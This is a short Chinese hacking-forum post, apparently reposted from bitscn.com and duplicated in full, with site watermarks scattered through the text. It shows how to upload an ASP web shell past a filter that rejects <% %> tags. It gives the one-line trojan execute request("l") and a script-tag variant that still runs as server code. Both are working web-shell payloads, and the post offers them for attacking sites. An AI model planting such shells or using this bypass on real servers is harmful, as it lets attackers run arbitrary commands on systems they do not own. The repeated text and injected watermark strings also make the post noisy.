导读:
郁闷中啊,无聊的逛着,还为那个同时使用双标签的问题而努力找解决方案,突然想到了一个东西, www@bitscn@com
以前好多朋友说过就是在程序上传shell过程中,程序不允许包含<%%>标记符号的内容的文件上传, bitsCN~com
这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵!
bitsCN#com中国网管联盟
我们拿蓝屏最小的asp木马来看下: bbs.bitsCN.com中国网管论坛
<%execute request("l")%>中国_网管联盟bitsCN.com
我们来把他的标签换下来:
www_bitscn_com中国.网管联盟
<script language=VBScript runat=server>execute request("l")</script>
中国_网管联盟bitsCN.com
呵呵!这样就避开了使用<%%>,保存为.asp,程序照样执行,效果一样的说!
www@bitscn@com
偶在xpsp2下测试成功!
[bitsCN.Com]
从勇敢的风那里得来得灵感!^_^在此再次感谢! DL@bitsCN_com网管软件下载
本文转自
http://www.bitscn.com/hack/safe/200802/124326.html
郁闷中啊,无聊的逛着,还为那个同时使用双标签的问题而努力找解决方案,突然想到了一个东西, www@bitscn@com
以前好多朋友说过就是在程序上传shell过程中,程序不允许包含<%%>标记符号的内容的文件上传, bitsCN~com
这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵!
bitsCN#com中国网管联盟
我们拿蓝屏最小的asp木马来看下: bbs.bitsCN.com中国网管论坛
<%execute request("l")%>中国_网管联盟bitsCN.com
我们来把他的标签换下来:
www_bitscn_com中国.网管联盟
<script language=VBScript runat=server>execute request("l")</script>
中国_网管联盟bitsCN.com
呵呵!这样就避开了使用<%%>,保存为.asp,程序照样执行,效果一样的说!
www@bitscn@com
偶在xpsp2下测试成功!
[bitsCN.Com]
从勇敢的风那里得来得灵感!^_^在此再次感谢! DL@bitsCN_com网管软件下载
本文转自
http://www.bitscn.com/hack/safe/200802/124326.html